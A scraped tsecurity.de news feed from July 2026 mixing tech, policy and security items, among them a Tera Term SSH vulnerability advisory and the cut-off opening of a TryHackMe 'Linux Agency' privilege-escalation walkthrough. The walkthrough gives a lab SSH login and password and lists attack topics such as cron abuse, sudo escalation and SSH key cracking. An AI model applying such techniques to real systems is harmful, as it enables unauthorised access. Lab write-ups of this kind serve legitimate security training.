<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Author: Security Weekly - A CRA Resource - Bewertung: 0x - Views:16 <br/></p><p><iframe id="ytplayer" loading="lazy" type="text/html" width="100%" height="auto" src="https://www.youtube.com/embed/vqzhfsVUgAg?autoplay=1&origin=http://tsecurity.de" frameborder="0"></iframe></p><p>The discussion makes a bold claim: many organizations no longer have enough time to patch before attackers compromise vulnerable systems.<br />
<br />
Instead of treating prevention as the primary strategy, the emphasis shifts toward detecting intrusions quickly and responding before attackers can cause significant damage.<br />
<br />
This doesn't mean patching is unimportant—it remains a fundamental security practice. The point is that patching alone may not be sufficient against fast-moving threats. Organizations also need strong monitoring, detection, and incident response to reduce the impact when prevention falls short.<br />
<br />
Security today is increasingly about resilience, not just prevention.<br />
<br />
Has cybersecurity reached the point where detection and response deserve as much attention as prevention?<br />
<br />
Subscribe to our podcasts: https://securityweekly.com/subscribe<br />
<br />
#IncidentResponse #PatchManagement #SecurityWeekly #Cybersecurity #InformationSecurity #AI #InfoSec<br/></p>]]></content:encoded>
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<title><![CDATA[1Password Now Lets Claude Log In Without Seeing Your Passwords]]></title>
<description><![CDATA[If you want an artificial intelligence tool to book a flight or buy an audiobook, it usually needs to log into your personal accounts. Sharing your private login details directly with a chatbot feels risky, but a new software update changes that process entirely. The popular password manager 1Pas...]]></description>
<link>https://tsecurity.de/de/3676172/ios-mac-os/1password-now-lets-claude-log-in-without-seeing-your-passwords/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3676172/ios-mac-os/1password-now-lets-claude-log-in-without-seeing-your-passwords/</guid>
<pubDate>Fri, 17 Jul 2026 15:26:07 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[If you want an artificial intelligence tool to book a flight or buy an audiobook, it usually needs to log into your personal accounts. Sharing your private login details directly with a chatbot feels risky, but a new software update changes that process entirely. The popular password manager 1Password just built a clever way for the smart assistant Claude to access your online accounts without ever actually seeing your private passwords or verification codes.



The new tool needs your fingerprint to approve each login



When Claude needs to get into a website to finish a task, it sends a prompt to your 1Password app. You will see exactly what site the agent wants to access and why it needs to go there. To approve the request, you just use a biometric check, like a quick fingerprint scan on your keyboard.



Once you approve the request, 1Password drops the username and password directly into the website form. The actual text of the password never goes to Claude, its memory banks, or the servers at Anthropic. This method keeps your sensitive data strictly on your own device while the digital assistant does its job.



A special lockdown mode keeps your main password vault hidden



Along with this handy feature, 1Password introduced a security setting called Agentic Mode. Whenever a supported AI bot takes control of your web browser, this mode automatically locks down your entire vault. The bot can only use the specific login details you just approved for that exact moment, so your other accounts stay completely off limits.



Right now, this setup is only available for Mac users on individual, family, or business plans. You need the desktop apps and browser extensions for both 1Password and Claude to make it work. The company also plans to add support for payment cards and identity details later, making it easier to let your digital helper handle online shopping.



Instead of forcing you to choose between convenience and security, this integration proves we can safely trust digital assistants with daily chores. It sets a clear, safe standard for how smart apps should handle our private data moving forward.]]></content:encoded>
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<title><![CDATA[Trump is selling high-speed access to his market-moving Truth Social posts]]></title>
<description><![CDATA[Trump Media, the company behind Truth Social, is selling Wall Street faster access to the "most market-moving" posts on the US President's social media platform. On Thursday, Trump Media announced plans to launch "Truth API," a licensed real time data feed for businesses that provides "the fastes...]]></description>
<link>https://tsecurity.de/de/3676114/it-nachrichten/trump-is-selling-high-speed-access-to-his-market-moving-truth-social-posts/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3676114/it-nachrichten/trump-is-selling-high-speed-access-to-his-market-moving-truth-social-posts/</guid>
<pubDate>Fri, 17 Jul 2026 15:01:56 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Trump Media, the company behind Truth Social, is selling Wall Street faster access to the "most market-moving" posts on the US President's social media platform. On Thursday, Trump Media announced plans to launch "Truth API," a licensed real time data feed for businesses that provides "the fastest access to Truth Social's most influential accounts." It […]]]></content:encoded>
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<title><![CDATA[Mozilla Privacy Blog: Beyond technical fixes: Protecting kids online without breaking the internet]]></title>
<description><![CDATA[This is part one of a two-part series in which we explore approaches to protecting children online while safeguarding privacy, security and the open web. Part one covers our concerns regarding age gates, and alternative policy proposals that address the root causes of online harms. 
Young people ...]]></description>
<link>https://tsecurity.de/de/3675858/tools/mozilla-privacy-blog-beyond-technical-fixes-protecting-kids-online-without-breaking-the-internet/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3675858/tools/mozilla-privacy-blog-beyond-technical-fixes-protecting-kids-online-without-breaking-the-internet/</guid>
<pubDate>Fri, 17 Jul 2026 13:10:44 +0200</pubDate>
<category>💾  Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><i>This is part one of a two-part series in which we explore approaches to protecting children online while safeguarding privacy, security and the open web. Part one covers our concerns regarding age gates, and alternative policy proposals that address the root causes of online harms. </i></p>
<p>Young people today have unprecedented opportunities to learn, connect, and explore — not just the web and the world, but also themselves. With the increased ubiquity of digital technologies and devices, worries around the <a href="https://www.nature.com/articles/s41562-018-0506-1">relationship between these technologies and young people’s well-being</a> have grown, too. While concerns about the societal implications of new technologies is <a href="https://journals.sagepub.com/doi/10.1177/1745691620919372">not a new phenomenon</a>, <a href="https://www.science.org/doi/10.1126/science.adt6807">experts argue</a> that the accelerating speed of deployment of new technologies has outpaced scientists’ capacity to feed into policy recommendations addressing risks. A growing body of research <a href="https://osf.io/preprints/psyarxiv/m38u6_v2">documents</a> the harms experienced by young people online and the challenges <a href="https://ijse.padovauniversitypress.it/2024/1/8">reported</a> by parents attempting to mediate their kids’ technology use. At the same time, experts highlight the importance of contextual factors like <a href="https://www.nature.com/articles/s41562-025-02134-4">existing mental health conditions</a>, <a href="https://onlinelibrary.wiley.com/doi/full/10.1002/jad.12193">socio-economic circumstances</a> and <a href="https://www.sciencedirect.com/science/article/pii/S0747563224000244">parental mediation</a> to understand the real-world effects of digital technologies.</p>
<p>Faced with this complexity, and mounting public pressure, policymakers around the world are urgently seeking ways to improve child safety online. Driven by a sense of time running out and promises of new <a href="https://www.schneier.com/blog/archives/2026/05/laurie-anderson-is-quoting-me.html">technical solutions</a> to difficult questions, this has led, <a href="https://avpassociation.com/map/">across jurisdictions</a>, to proposals to restrict young people’s access to certain technologies or platforms by introducing age assurance mandates.</p>
<p>Privacy and user empowerment have always formed a core part of Mozilla’s mission. As <a href="https://blog.mozilla.org/netpolicy/2025/12/19/australias-social-media-ban-why-age-limits-wont-fix-what-is-wrong-with-online-platforms/">we have said before</a>, we support safer spaces for minors, but we caution against approaches that rely on identity checks, surveillance-based enforcement, or exclusionary defaults. Such interventions rely on the collection of personal and sensitive data and, thus, introduce major new privacy and security risks.</p>
<p>While many technologies exist to verify, estimate, or infer users’ ages, fundamental tensions around accessibility, their effectiveness and effects on user’s privacy, security and free expression <a href="https://kgi.georgetown.edu/wp-content/uploads/2026/01/Age_Assurance_Online_Technical-Assessment_Report_KGI.pdf">remain</a>. Technological approaches must be part of wider efforts to address the root causes of online harms. However, the deployment of age assurance technologies will not solve the complex challenge of preparing young people to navigate an increasingly online world and ensure their wellbeing. That will require more holistic approaches: offering education and support to navigate the web safely, addressing harmful business practices and acknowledging the offline factors shaping children’s lives including social inequality, poverty or disparate access to (mental) health care services.</p>
<p><em><b>Ineffective age-gating mandates and the dangerous shift toward VPN restrictions</b></em></p>
<p>As jurisdictions around the world gain experience with government-mandated age gates for certain services, evidence is mounting that age restrictions are not an effective policy tool. Avoiding age gates is widespread and trivially easy: In Australia, where minors under 16 year of age have been banned from certain social media platforms since December 2025, the government’s Compliance Update <a href="https://www.esafety.gov.au/sites/default/files/2026-03/SocialMediaMinimumAgeComplianceUpdateMarch2026.pdf?v=1775600939713">reports</a> that seven out of ten young Australians remain online, often skirting age checks by simply entering a fake birthdate. A recent <a href="https://www.internetmatters.org/wp-content/uploads/2026/04/Internet-Matters-Online-Safety-Act-Report-May-2026.pdf">study</a> on the implementation of the UK’s Online Safety Act found that a third of children have bypassed age gates with fairly trivial steps like faking their birthdate, borrowing someone else’s login credentials, or even drawing on facial hair, and that a quarter of parents have helped their children to bypass age assurance systems. In the US, <a href="https://www.ftc.gov/sites/default/files/documents/public_comments/massachusetts-00243%C2%A0/00243-82161.pdf">studies</a> indicate that as far back as 2011, 64% of parents who were aware their child under 13 had a social media account were also ones who helped them create that account.</p>
<p>Confronted with the apparent ineffectiveness of age gates, policymakers around the world seem to be shifting their attention to alleged circumvention tools. While <a href="https://www.internetmatters.org/wp-content/uploads/2026/04/Internet-Matters-Online-Safety-Act-Report-May-2026.pdf">research</a> shows that many young people bypass age barriers by using other people’s devices and accounts or tricking age estimation tools by making themselves look older, virtual private networks (VPNs) are <a href="https://www.europarl.europa.eu/RegData/etudes/ATAG/2026/782618/EPRS_ATA(2026)782618_EN.pdf">increasingly</a> <a href="https://www.bbc.com/news/articles/cn438z3ejxyo">framed</a> as primarily a “loophole” to age gates. VPNs create encrypted “tunnels” between a user’s device and the internet, protecting all internet traffic from that device and concealing users’ IP addresses. VPNs are an essential privacy and security resource for millions of users worldwide, <a href="https://home.crin.org/the-big-debates/vpns-for-children">including young people</a>.</p>
<p><a href="https://www.eff.org/deeplinks/2026/04/utahs-new-law-regulating-vpns-goes-effect-next-week">Utah’s recent age verification law</a> holds websites hosting age-restricted content liable for verifying the age of anyone physically located in Utah, including individuals using VPNs or proxies. While the law does not ban VPNs outright, it forces websites to either block known VPN IP addresses or verify the age of every visitor globally. In the UK, policymakers <a href="https://www.bbc.com/news/articles/c9824zvpz9po">debated</a> <a href="https://www.bbc.com/news/articles/cn438z3ejxyo">age gates</a> for VPNs extensively, but <a href="https://www.bbc.com/news/articles/c982857nlrlo">stopped short</a> of restricting VPNs after <a href="https://www.gov.uk/government/publications/childrens-circumvention-behaviours-online?utm_medium=email&amp;utm_campaign=govuk-notifications-topic&amp;utm_source=97439257-1368-42dd-835e-2ecc1f690097&amp;utm_content=immediately">new evidence</a> <a href="https://vpntrust.net/2026/07/08/new-yougov-research-finds-vpns-are-not-widely-used-by-children-to-avoid-age-checks/?msg_pos=1">confirmed</a> that VPNs are not a relevant pathway for children seeking to bypass age checks. In Brazil, the ECA Digital law <a href="https://www.planalto.gov.br/ccivil_03/_ato2023-2026/2026/decreto/d12880.htm">empowers</a> the regulatory authority to order technical countermeasures against circumvention tools such as VPNs. These developments suggest a worrying trend: well-meaning but ineffective attempts to protect children risk undermining the fundamental rights to privacy, security, and free expression of all users, as well as the health and openness of the web itself.</p>
<p>We are convinced, however, that there are rights-respecting alternatives policymakers can pursue to empower young people online and improve their safety and well-being.</p>
<p><em><strong>Moving beyond access bans</strong></em></p>
<p>We strongly believe that online safety frameworks should be grounded in <a href="https://www.unicef.org/innovation/stories/protecting-childrens-rights-in-digital-environments">children’s rights</a>, striking a balance between their right to protection and their right to participate in society, express themselves freely, and access media and information. Such frameworks must also be proportionate and should not undermine the fundamental rights and access to tools like VPNs for all users.</p>
<p>Rather than focusing on limiting access, we believe that policymakers should prioritize interventions that tackle the root causes of online harm. Before considering new instruments, this work starts with ensuring that independent regulatory authorities have the necessary resources to enforce existing online safety frameworks. In Europe, preliminary findings against <a href="https://ec.europa.eu/commission/presscorner/detail/en/ip_26_1579">Meta</a> and <a href="https://digital-strategy.ec.europa.eu/en/news/commission-preliminarily-finds-tiktoks-addictive-design-breach-digital-services-act">TikTok</a> find these companies’ addictive design features to be in breach of the Digital Services Act, underlining the potential of frameworks like the DSA to address key concerns.</p>
<p>The design of online interfaces, and the affordances and constraints they offer, significantly influences users’ interactions, decisions and overall wellbeing. ‘Dark patterns’ or deceptive interfaces are key drivers of harms experienced by users, and especially young people: they can compel people to consent to extensive data collection and processing, resulting in hyper-personalized feeds, personalized ads that may exploit cognitive vulnerabilities and promote unhealthy or excessive consumer choices, and an overall erosion of privacy.</p>
<p>This is why we support proposals like <a href="https://blog.mozilla.org/netpolicy/2025/10/31/pathways-to-a-fairer-digital-world-mozilla-shares-views-on-the-eu-digital-fairness-act/">EU Digital Fairness Act (DFA) </a>and the <a href="https://blog.mozilla.org/netpolicy/2026/06/11/a-handful-of-companies-control-the-web-aicoa-can-change-that/">American Innovation and Choice Online Act (AICOA)</a> that could fill regulatory gaps. Specifically, we advocate for the <b>prohibition of harmful design</b>, guided by harmonized definitions of core concepts like “dark patterns”, “deceptive design,” and “addictive design” and anti-circumvention clauses to prevent companies from avoiding regulation through small tweaks. Platforms should be responsible for demonstrating that their design choices are fair, non-manipulative and non-exploitative. And services that are likely to be accessed by children should be required to refrain from enabling certain design features, including excessive notifications, endless feeds and gambling-like features by default, and only with parental consent.</p>
<p>Further, we urge policymakers to adopt a <b>privacy-first approach to online harms</b>. Many of the risks encountered by young people online are related to the collection and processing of personal data. Platforms collect enormous amounts of personal data, including sensitive data, to personalize and target services, ranging from algorithmic recommender systems to online ads. While the systems that target and display ads and curate online content are distinct, both are based on the surveillance and profiling of users.</p>
<p>Such profiling is the basis for young people being targeted with personalized ads and content recommendations, which can segment, exclude, or steer people into inequitable options and towards harmful content. Providers should thus be prohibited from using sensitive personal data (e.g. ethnicity, religious belief, health status, sexual orientation, political affiliation) to personalize content recommendations or ads, and they should be mandated to enable privacy-protective settings by default, including restricting access to users’ location, camera, microphone, contacts, and camera roll. Policymakers should also extend the fairness and transparency obligations to personalization systems and advertising actors, including intermediaries and data brokers.</p>
<p>Additionally, everyone online, including families and young people, should be fully in control of their online experiences and navigate the web according to their preferences and needs. There is a significant opportunity to <b>empower users with easy, effective opt-out rights and granular user controls</b>. In practice, users should have the right to opt out of personalized content and targeting without being penalized with a downgraded version of the service. Some frameworks already strengthen choice – in those cases, we advocate for their robust enforcement.</p>
<p>Across jurisdictions, choice can be strengthened by ensuring that preferences explicitly expressed (e.g. settings selected, feedback signals, customization choices made, survey responses) are respected and “sticky”, so do not get reset without being explicitly requested by the user. Interoperability mandates should let people integrate third-party content moderation systems or recommendation algorithms that better match their preferences and help them break out of the walled gardens of a few dominant companies. Parental controls are another important lever to operationalize user controls: Providers should deploy easy-to-use and effective parental controls that allow families to tailor online experiences to their preferences, across platforms.</p>
<p>We appreciate that this is a long list of complex policy recommendations which are also impacted by broader (geo)political developments. The fact remains that current age assurance approaches are not a silver bullet, and will create more, rather than solve, problems in the long term.</p>
<p>Where policymakers consider age signals as necessary to ensure age-appropriate online experiences, we believe that there are technical approaches better suited to balance users’ rights than those currently pursued. We will explore these developments and approaches in the second part of this series.</p>
<p>The post <a href="https://blog.mozilla.org/netpolicy/2026/07/17/beyond-technical-fixes-protecting-kids-online-without-breaking-the-internet/">Beyond technical fixes: Protecting kids online without breaking the internet </a> appeared first on <a href="https://blog.mozilla.org/netpolicy">Open Policy &amp; Advocacy</a>.</p>]]></content:encoded>
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<title><![CDATA[Why technology leaders are losing the AI conversation to the people who report to them]]></title>
<description><![CDATA[I keep seeing a version of the same scene. A CEO has a question about AI. It is a real question, the kind that will shape where the company spends the next two years. The CEO does not bring it to the CIO. They bring it to a data leader two levels down, or to a vendor who presented at a conference...]]></description>
<link>https://tsecurity.de/de/3675833/it-nachrichten/why-technology-leaders-are-losing-the-ai-conversation-to-the-people-who-report-to-them/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3675833/it-nachrichten/why-technology-leaders-are-losing-the-ai-conversation-to-the-people-who-report-to-them/</guid>
<pubDate>Fri, 17 Jul 2026 13:03:31 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
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<p class="wp-block-paragraph">I keep seeing a version of the same scene. A CEO has a question about AI. It is a real question, the kind that will shape where the company spends the next two years. The CEO does not bring it to the CIO. They bring it to a data leader two levels down, or to a vendor who presented at a conference, or to an AI specialist a board member recommended. The CIO finds out the strategy is forming when a slide shows up that they did not build. By then, the direction is already half-set, and the CIO is being asked to react to it rather than shape it.</p>



<p class="wp-block-paragraph">I want to be precise about what is happening, because it is easy to misread. The CIO has not been removed from anything. Title intact, budget intact, seat at the table intact. What has changed is quieter. On one of the most consequential technology conversations the company will have this decade, the CIO is being routed around. The work still flows through them eventually. The thinking no longer starts with them.</p>



<p class="wp-block-paragraph">I have watched this happen to capable people who would have given the CEO a better answer than the person who was asked. That is what makes it worth naming. This is not a competence gap. It is a positioning gap, and positioning gaps close in the wrong direction if you ignore them long enough.</p>



<h2 class="wp-block-heading">How the routing actually starts</h2>



<p class="wp-block-paragraph">The routing does not begin with a decision to exclude anyone. It begins with a CEO who is anxious about AI and looking for someone who sounds certain. AI is moving fast enough that executives feel the pressure to have a point of view before they have earned one. That pressure usually arrives secondhand, from a board member or a peer on the golf course describing what is working at their company. So the CEO goes looking for someone who will confirm the answer they already want to hear, and they keep going back to whoever gives it to them.</p>



<p class="wp-block-paragraph">Here is where many technology leaders lose the thread. For years, the safe posture in the CIO seat was measured caution. You raised the risks, you flagged the integration cost, you asked who owns the data and what the compliance exposure looks like. That posture built credibility in an era when the failure mode was moving too fast on technology nobody understood. With AI, the same posture reads as drag. A CEO who is being told by three vendors that “the future is already here” does not want to hear why they should slow down and be cautious. They hear caution as losing the race, and they go find a point of view somewhere else.</p>



<p class="wp-block-paragraph">The data leaders, vendors and specialists who get the call are not necessarily more capable. They are more available with a confident answer. A vendor’s whole job is to arrive with conviction. A data scientist who has shipped one impressive model carries more apparent authority on AI, in that moment, than a CIO who runs the entire estate but talks about AI the way they talk about every other risk. The CEO is not weighing depth against depth. They are weighing the person who said yes against the person who said it depends.</p>



<p class="wp-block-paragraph">Once that pattern sets, it compounds. The CEO who got a satisfying answer from the data leader goes back to the data leader. The vendor who shaped the first conversation gets invited into the second. Each loop the CIO is not in makes the next one easier to run without them. The org chart still says the CIO owns technology strategy. The actual conversation has relocated.</p>



<h2 class="wp-block-heading">What it costs before anyone notices</h2>



<p class="wp-block-paragraph">The cost shows up late, which is exactly why it is dangerous. For a while nothing looks broken. The CIO is still delivering. The AI initiatives are still landing on their plate to execute. The damage is happening upstream, in the room where the bets get made, and the CIO is not in that room.</p>



<p class="wp-block-paragraph">I have seen what arrives downstream when the strategy was set without the person who has to run it. A model gets championed that the data cannot actually support. A vendor commitment gets made that locks the company into an architecture the CIO would have flagged in the first meeting. An agent gets deployed inside a business unit, with executive blessing, and the CIO inherits accountability for it months later without ever having shaped how it was governed. The recent IBM finding that <a href="https://www.cio.com/article/4182288/cios-are-being-held-accountable-for-ai-they-dont-fully-control-ibm-study-finds.html">CIOs are increasingly held accountable for AI they do not fully control</a> is the visible end of this. The invisible front end is the conversation the CIO was routed around, the one where the accountability got created in the first place.</p>



<p class="wp-block-paragraph">What I find most corrosive is what it does to the CIO’s standing over time. Every initiative the CIO executes but did not shape reinforces a story about what the CIO is for. They become the person who runs the technology other people decided on. That is a fine description of an order taker and a poor description of a strategic leader, and CEOs do not promote, fund, or defend order takers when budgets tighten. The routing-around does not just cost the company a worse AI strategy. It quietly recasts the CIO as the implementer of everyone else’s thinking, and that recasting is hard to reverse once the executive team has internalized it.</p>



<h2 class="wp-block-heading">What the leaders who stayed in the conversation did</h2>



<p class="wp-block-paragraph">The technology leaders I have watched hold their position on AI did one thing first. They stopped leading with caution and started leading with a point of view. Not a reckless one. A real, defensible position on where AI creates value in their specific business and where it does not, delivered with the same conviction the vendors bring, before the CEO went looking elsewhere for it. They made themselves the person with the clearest answer, which is the role the routing-around was filling with someone else.</p>



<p class="wp-block-paragraph">That requires giving up a posture that felt safe for a long time. The CIOs who made the shift accepted that on AI, being right and cautious is worth less than being early and directional. They formed a view ahead of being asked. They walked into the CEO’s office with where we should place our AI bets and why, rather than waiting to be handed someone else’s bets to pressure-test. The difference is whether you are the author of the strategy or its editor, and CEOs route around editors.</p>



<p class="wp-block-paragraph">They also changed how they talk about risk. Instead of presenting risk as the reason to slow down, they folded it into the recommendation. The data is not ready for that use case, so here is the use case where it is ready, and here is what we do in parallel to unlock the first one. That framing keeps the CIO inside the conversation as the person making AI happen responsibly, rather than the person standing outside it explaining why it is hard. Same expertise, opposite effect on whether the CEO keeps coming back.</p>



<p class="wp-block-paragraph">None of this is about pushing the data leaders and specialists out. The strongest CIOs I know pulled those people closer and brought them into the room under their own framing, so that when the CEO wanted the specialist’s input, it arrived through the CIO rather than around them. They made themselves the orchestrator of the AI conversation instead of one of its casualties.</p>



<p class="wp-block-paragraph">If you are a technology leader right now, the question worth sitting with is not whether you are good at AI. You probably are. The question is whether the most important AI conversations in your company are still starting with you, or whether you have quietly become the person they get handed to after the thinking is done. That answer is set in rooms you may not be in, and the only way to find out is to ask who your CEO called the last three times AI came up. If the answer is not you, the role is still yours. The conversation has already started leaving.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
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<title><![CDATA[OpenAI Is Selling $230 Codex Micro Hardware Product With Work Louder]]></title>
<description><![CDATA[OpenAI recently teamed up with Work Louder to release a physical tool for developers. Reports show OpenAI is selling $230 Codex Micro hardware product units on its website now. The keyboard brings your digital agent workspace straight to your desk. It helps users manage active chats and keep trac...]]></description>
<link>https://tsecurity.de/de/3675822/ios-mac-os/openai-is-selling-230-codex-micro-hardware-product-with-work-louder/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3675822/ios-mac-os/openai-is-selling-230-codex-micro-hardware-product-with-work-louder/</guid>
<pubDate>Fri, 17 Jul 2026 12:53:59 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[OpenAI recently teamed up with Work Louder to release a physical tool for developers. Reports show OpenAI is selling $230 Codex Micro hardware product units on its website now. The keyboard brings your digital agent workspace straight to your desk. It helps users manage active chats and keep track of tasks through live lighting feedback. Buyers can pick between a clicky or silent switch version when ordering the device.



The device offers physical controls for common coding workflow tasks



The gadget maps your most used actions to physical buttons. This release shows its push into the physical world of artificial intelligence tools.



It connects directly with the desktop app to provide high customization. You can reassign any key or change how the agent buttons work to fit your specific needs. Each key lights up with a status indicator so you can see if the program is thinking, running, waiting, or done before you even open a chat window.



Here is a look at the specific features built into this product:




Trigger skills instantly: Users can flick the built-in joystick to launch common workflows. This includes reviewing a pull request, debugging a coding error, or refactoring text.



Keep core actions close: The command keys give you a dedicated shortcut for accepting, rejecting, or starting a new chat.



Set the brainpower: You can turn a physical dial to adjust the reasoning level of the AI on the fly. This lets you stay fast for simple tasks or turn it up for heavier thinking.




This hardware release marks a big shift in how developers interact with digital models. Moving software controls to a physical keypad saves time by reducing screen switching. It also makes working with smart agents feel much more natural and direct.



The release points to a future where physical devices bridge the gap between human input and complex background processing.]]></content:encoded>
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<title><![CDATA[Widow’s Bay Leads U.S. Emmy Nominees In Streaming Popularity]]></title>
<description><![CDATA[The horror comedy show Widow's Bay is officially the most popular Emmy-nominated series among American streaming audiences right now. The Apple show easily claimed the top spot in viewer interest during this awards season. According to recent streaming data, it completely outpaced other heavily n...]]></description>
<link>https://tsecurity.de/de/3675821/ios-mac-os/widows-bay-leads-us-emmy-nominees-in-streaming-popularity/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3675821/ios-mac-os/widows-bay-leads-us-emmy-nominees-in-streaming-popularity/</guid>
<pubDate>Fri, 17 Jul 2026 12:53:58 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[The horror comedy show Widow's Bay is officially the most popular Emmy-nominated series among American streaming audiences right now. The Apple show easily claimed the top spot in viewer interest during this awards season. According to recent streaming data, it completely outpaced other heavily nominated shows in pure viewer engagement. It achieved this high rank even though it placed third in total award nods.



Actual viewer engagement proves that high nominations rarely guarantee massive audience interest



The streaming guide JustWatch recently tracked real user activity to measure which shows actually capture audience attention. The platform looked at offer clicks, watchlist additions, and liked titles in the seven days following each season finale. The results showed that Apple TV+ had its strongest Emmy showing yet across both comedy and drama categories.



While Widow's Bay and Pluribus earned top Emmy nominations this year, award counts did not always match up with what people actually watched. For example, The Pitt and Hacks received the most nominations for drama and comedy. However, both of those shows ranked near the bottom of the popularity list in their specific categories.



Meanwhile, the limited series All Her Fault claimed the number one spot for viewer interest in its category. It managed to beat out heavy hitters like Beef and DTF St. Louis, proving again that having fewer award nods does not stop fans from tuning in.



Fans of Widow's Bay have good news to celebrate alongside the streaming success. The popular horror comedy has already been renewed for a second season. Anyone who wants to catch up on the story can stream the entire first season directly on Apple TV today.]]></content:encoded>
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<title><![CDATA['The first week of pre-orders brought in $180 million' — Analysts report that GTA 6 has 'the strongest pre-order campaign ever recorded']]></title>
<description><![CDATA[Grand Theft Auto 6 reportedly achieved the strongest pre-order period ever and is on track to earn over $5 billion by the end of its launch week.]]></description>
<link>https://tsecurity.de/de/3675795/it-nachrichten/the-first-week-of-pre-orders-brought-in-180-million-analysts-report-that-gta-6-has-the-strongest-pre-order-campaign-ever-recorded/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3675795/it-nachrichten/the-first-week-of-pre-orders-brought-in-180-million-analysts-report-that-gta-6-has-the-strongest-pre-order-campaign-ever-recorded/</guid>
<pubDate>Fri, 17 Jul 2026 12:47:46 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Grand Theft Auto 6 reportedly achieved the strongest pre-order period ever and is on track to earn over $5 billion by the end of its launch week.]]></content:encoded>
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<title><![CDATA[CVE-2026-58317 | TeraTerm Project Tera Term up to 3.6.1 SSH Connection unsigned conversion (EUVD-2026-45140)]]></title>
<description><![CDATA[A vulnerability classified as critical has been found in TeraTerm Project Tera Term up to 3.6.1. The impacted element is an unknown function of the component SSH Connection Handler. Performing a manipulation results in unsigned to signed conversion error.

This vulnerability is cataloged as CVE-2...]]></description>
<link>https://tsecurity.de/de/3675314/sicherheitsluecken/cve-2026-58317-teraterm-project-tera-term-up-to-361-ssh-connection-unsigned-conversion-euvd-2026-45140/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3675314/sicherheitsluecken/cve-2026-58317-teraterm-project-tera-term-up-to-361-ssh-connection-unsigned-conversion-euvd-2026-45140/</guid>
<pubDate>Fri, 17 Jul 2026 09:10:25 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability classified as <a href="https://vuldb.com/kb/risk">critical</a> has been found in <a href="https://vuldb.com/product/teraterm_project:tera_term">TeraTerm Project Tera Term up to 3.6.1</a>. The impacted element is an unknown function of the component <em>SSH Connection Handler</em>. Performing a manipulation results in unsigned to signed conversion error.

This vulnerability is cataloged as <a href="https://vuldb.com/cve/CVE-2026-58317">CVE-2026-58317</a>. It is possible to initiate the attack remotely. There is no exploit available.]]></content:encoded>
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<title><![CDATA[TryHackMe — Linux Agency | Complete Write-Up & Walkthrough]]></title>
<description><![CDATA[“Agent 47, your mission begins. 30 targets stand between you and the root.”Author: Shikhali JamalzadeGitHub: github.com/alisaliveLinkedIn: linkedin.com/in/camalzads📋 Room OverviewPlatform TryHackMe Room Name Linux Agency Link https://tryhackme.com/room/linuxagency Difficulty Medium Category Linux...]]></description>
<link>https://tsecurity.de/de/3675298/hacking/tryhackme-linux-agency-complete-write-up-walkthrough/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3675298/hacking/tryhackme-linux-agency-complete-write-up-walkthrough/</guid>
<pubDate>Fri, 17 Jul 2026 09:09:38 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KSkSbmZiLuuvwoZUpWjb2w.png"></figure><blockquote>“Agent 47, your mission begins. 30 targets stand between you and the root.”<br>Author: <a href="https://medium.com/u/20557ba7487d">Shikhali Jamalzade</a><br>GitHub<strong>:</strong> <a href="https://github.com/alisalive">github.com/alisalive</a><br>LinkedIn<strong>:</strong> <a href="https://linkedin.com/in/camalzads">linkedin.com/in/camalzads</a></blockquote><h3>📋 Room Overview</h3><p><strong>Platform</strong> TryHackMe <br><strong>Room Name</strong> Linux Agency <br><strong>Link</strong> <a href="https://tryhackme.com/room/linuxagency">https://tryhackme.com/room/linuxagency</a> <br><strong>Difficulty</strong> Medium <br><strong>Category</strong> Linux Fundamentals + Privilege Escalation <br><strong>Initial Access</strong> SSH (agent47)</p><h3>🎯 About This Room</h3><p><strong>Linux Agency</strong> is one of the most comprehensive Linux-focused rooms on TryHackMe. You play the role of <strong>Agent 47</strong> — a secret agent tasked with infiltrating the ICA Agency, chaining through <strong>30 mission accounts</strong>, eliminating special targets, and ultimately achieving <strong>root</strong>.</p><p>This room goes far beyond basic Linux commands — it forces you to think like a real penetration tester. Topics covered:</p><ul><li>🐧 Deep Linux fundamentals (hidden files, permissions, environment variables)</li><li>💻 Multiple programming languages (Python, Ruby, Java, C)</li><li>🔐 Encoding/decoding (Base64, Binary, Hex)</li><li>📅 Cron job exploitation</li><li>⚡ Sudo privilege escalation via GTFOBins</li><li>🐳 Docker privilege escalation</li><li>🔑 SSH private key cracking</li></ul><h3>🛠️ Tools Used</h3><ul><li>ssh, su, find, grep, cat, ls, strings, file</li><li>base64, xxd</li><li>gcc, javac, java, python3, ruby</li><li>netcat (nc)</li><li>ssh2john + john (John the Ripper)</li><li>ss (socket statistics)</li><li>GTFOBins</li><li>Docker</li></ul><h3>⚙️ Setup</h3><p>Start the machine on TryHackMe and wait about a minute. Then connect:</p><pre>ssh agent47@&lt;MACHINE_IP&gt;</pre><p><strong>Password:</strong> 640509040147</p><p>Once connected 